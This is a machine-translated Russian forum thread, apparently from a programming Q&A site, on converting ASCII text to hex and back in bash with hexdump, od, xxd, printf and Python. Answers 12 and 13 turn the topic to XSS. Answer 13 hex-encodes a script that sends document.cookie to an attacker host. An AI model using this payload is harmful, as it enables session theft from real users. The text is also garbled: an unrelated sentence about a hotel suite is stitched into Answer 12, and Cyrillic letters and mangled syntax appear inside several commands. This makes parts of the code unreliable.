Преобразование Ascii/Hex в bash
Теперь я делаю так:
[[email protected]~]# echo Aa|hexdump -v
0000000 6141 000a
0000003
[[email protected]~]# echo -e "\x41\x41\x41\x41"
AAAA
Но это не совсем так, как я хотел,
шестнадцатеричная форма Aa
должна быть 4161
, но выход имеет значение 6141 000a
, что кажется бессмысленным.
и при выполнении hex в ascii есть другая утилита, так что мне не нужен префикс \x
?
Ответы
Ответ 1
Причина в том, что по умолчанию hexdump
выводит 16-битные целые числа, а не байты. Если ваша система имеет их, hd
(или hexdump -C
) или xxd
будет предоставлять менее удивительные выходы - если нет, od -t x1
является стандартным способом POSIX для получения байтового байтового вывода. Вы можете использовать od -t x1c
для отображения шестнадцатеричных значений байта и соответствующих букв.
Если у вас есть xxd
(который поставляется вместе с vim), вы можете использовать xxd -r
для преобразования обратно из шестнадцатеричного (из того же формата xxd
производит). Если у вас просто простой гекс (только "4161", который создается xxd -p
), вы можете использовать xxd -r -p
для преобразования назад.
Ответ 2
Для первой части попробуйте
echo Aa | od -t x1
Он печатает побайтовый
$ echo Aa | od -t x1
0000000 41 61 0a
0000003
0a
- это неявная строка новой строки, которая генерирует эхо.
Используйте echo -n
или printf
вместо этого.
$ printf Aa | od -t x1
0000000 41 61
0000002
Ответ 3
$> printf "%x%x\n" "'A" "'a"
4161
Ответ 4
Для однострочного решения:
echo "Hello World" | xxd -ps -c 200 | tr -d '\n'
Он напечатает:
48656c6c6f20576f726c640a
или для файлов:
cat /path/to/file | xxd -ps -c 200 | tr -d '\n'
Для обратной работы:
echo '48656c6c6f20576f726c640a' | xxd -ps -r
Он напечатает:
Hello World
Ответ 5
Я не знаю, как это выглядит сумасшедшим, но это действительно хорошо работает
ascii2hex(){ a="[email protected]";s=0000000;printf "$a" | hexdump | grep "^$s"| sed s/' '//g| sed s/^$s//;}
Создал это, когда я пытался увидеть свое имя в HEX;)
используйте, как вы можете его использовать:)
Ответ 6
С bash:
a=abcdefghij
for ((i=0;i<${#a};i++));do printf %02X \'${a:$i:1};done
6162636465666768696A
Ответ 7
здесь немного script Я написал для преобразования ascii в hex. надеюсь, что это поможет:
echo '0x'"`echo 'ASCII INPUT GOES HERE' | hexdump -vC | awk 'BEGIN {IFS="\t"} {$1=""; print }' | awk '{sub(/\|.*/,"")}1' | tr -d '\n' | tr -d ' '`" | rev | cut -c 3- | rev
Ответ 8
Text2Conv="Aa"
for letter in $(echo "$Text2Conv" | sed "s/\(.\)/'\1 /g");do printf '%x' "$letter";done
4161
Трюк использует sed для синтаксического анализа Text2Conv для форматирования, который мы можем разделить на цикл anf, используя для.
Ответ 9
Ответ SteinAir выше был полезен для меня - спасибо! И ниже это способ, которым он вдохновил, преобразовать шестнадцатеричные строки в ascii:
for h in $(echo "4161" | sed "s/\(..\)/\1 /g"); do printf `echo "\x$h"`;done
Aa
Ответ 10
echo -n Aa | hexdump -e '/1 "%02x"'; echo
Ответ 11
в соответствии с http://mylinuxbook.com/hexdump/ вы можете использовать параметр формата hexdump
echo Aa | hexdump -C -e '/1 "%02X"'
вернет 4161
чтобы добавить дополнительный фид в конце, добавьте другой форматтер.
НО: формат, приведенный выше, даст выходы мультипликатора для повторяющихся символов
$ printf "Hello" | hexdump -e '/1 "%02X"'
48656C*
6F
вместо
48656c6c6f
Ответ 12
Si buscas un reemplazo para explotar un XSS, usa esto:
printf "palabra" | hexdump -e '/1 "% 02X"' | sed s/''/%/g;
Производить:
% 70% 61% 6C% 61% 62% 72% 61
Люкс с кроватью размера "king-size" и дополнительной кроватью.
Ответ 13
printf "window.location = ' http://www.atacante.com/cookies.php?cookie= ' +document.cookie;" | hexdump -ve '/1 "% 02X"' | sed s/''/%/г;
% 3C% 73% 63% 72% 69% 70% 74% 3E% 77% 69% 6E% 64% 6F% 77% 2E% 6C% 6F% 63% 61% 74% 69% 6F% 6E% 3D% 27 % 68% 74% 74% 70% 3A% 2F% 2F% 77% 77% 77% 2E% 61% 74% 61% 63% 61% 6E% 74% 65% 2E% 63% 6F% 6D% 2F% 63 % 6F% 6F% 6B% 69% 65% 73% 2E% 70% 68% 70% 3F% 63% 6F% 6F% 6B% 69% 65% 3D% 27% 2B% 64% 6F% 63% 75% 6D % 65% 6E% 74% 2E% 63% 6F% 6F% 6B% 69% 65% 3B% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E
Ответ 14
Я использую:
> echo Aa | tr -d '\n' | xxd -p
4161
> echo 414161 | tr -d '\n' | xxd -r -p
AAa
tr -d '\n'
обрежет любые возможные новые строки в вашем вводе
Ответ 15
Наконец-то получил правильную вещь
echo "Hello, world!" | tr -d '\n' | xxd -ps -c 200
Ответ 16
echo добавляет возврат каретки в конец.
Использование
echo -e
чтобы удалить дополнительный 0x0A
Кроме того, hexdump по умолчанию не работает byte-by-byte. Вот почему он показывает вам байты в странной endianess и почему он показывает вам дополнительный 0x00.
Ответ 17
[email protected]:~$ echo -n The quick brown fox jumps over the lazy dog | python -c "print raw_input().encode('hex'),"
54686520717569636b2062726f776e20666f78206a756d7073206f76657220746865206c617a7920646f67
[email protected]:~$ echo -n The quick brown fox jumps over the lazy dog | python -c "print raw_input().encode('hex')," | python -c "print raw_input().decode('hex'),"
The quick brown fox jumps over the lazy dog
это можно сделать и с Python3, но по-другому, и я ленивая собака.
Ответ 18
Собирался писать это как комментарий к @Coombs ', но боялся, что это не подойдет, а форматирование в комментариях не будет работать так хорошо.
Re:
for h in $(echo "4161" | sed "s/\(..\)/\1 /g"); do printf `echo "\x$h"`;done
Nice для ASCII, но я считаю, что стандартом для большинства дистрибутивов в наши дни является UTF-8 (и был во многих случаях до 2011 года). Практически ни один из вышеперечисленных "не подходит" с входом UTF-8. Пример: с использованием юникода "звезда" (U + 2605) приведенный выше код выдает:
> LC_ALL=en_US.UTF-8 ## making this explicit for this example
> star="★"
> hex () {
if ((!$#)); then return; fi
for ((i=0;i<${#1};i++));do printf %02X \'${$1:$i:1};done
}
> hex "$star"
2605
Если вы хотите, чтобы гексабайтные байты UTF-8 составляли звезду, вам нужно
сначала установить локаль. Как в:
> LC_ALL=C hex "$star"
E29885
Если у вас смешанный выход (например, латинский нижний регистр "a" ), звезда (U + 2605 = '★') и "Математический Sans-serif small A" (U + 1D5BA = '𝖺'), и вам нужны значения символов, тогда вам нужно закодировать вывод на основе символьного значения. Те, что ниже 0x7f, могут быть напечатаны как hex (\ x7f в bash), но те, которые ниже ~ 64K, нуждаются в \u2605 (для начала), а остальные выше 64K нуждаются в \U {8 шестнадцатеричных цифрах} или \U0001D5BA для Math-A или что-то вроде:
> star='★' math_a='𝖺'
> locale_hex "a$star$math_a"
\X61\u2605\U0001D5BA
Но это будет технически "не по теме" для первоначального вопроса, но все равно что-то нужно знать и учитывать. Проводя решение, которое генерирует этот вывод, будет "слишком большим OT-текстом" для моего удобства (надеюсь, этот Caveat не считается слишком расходящимся с исходным вопросом), поскольку у меня были похожие "ord", "hex" (и "chr" '), которые дали мне то, что сработало для ascii, которое серьезно запуталось, когда в микс были добавлены значения по умолчанию UTF-8.
В то время как вышеприведенные ответы подходят только для систем ascii, в наши дни они становятся редкими зверями, тем более, что кодировка символов по умолчанию для HTML5 = UTF-8.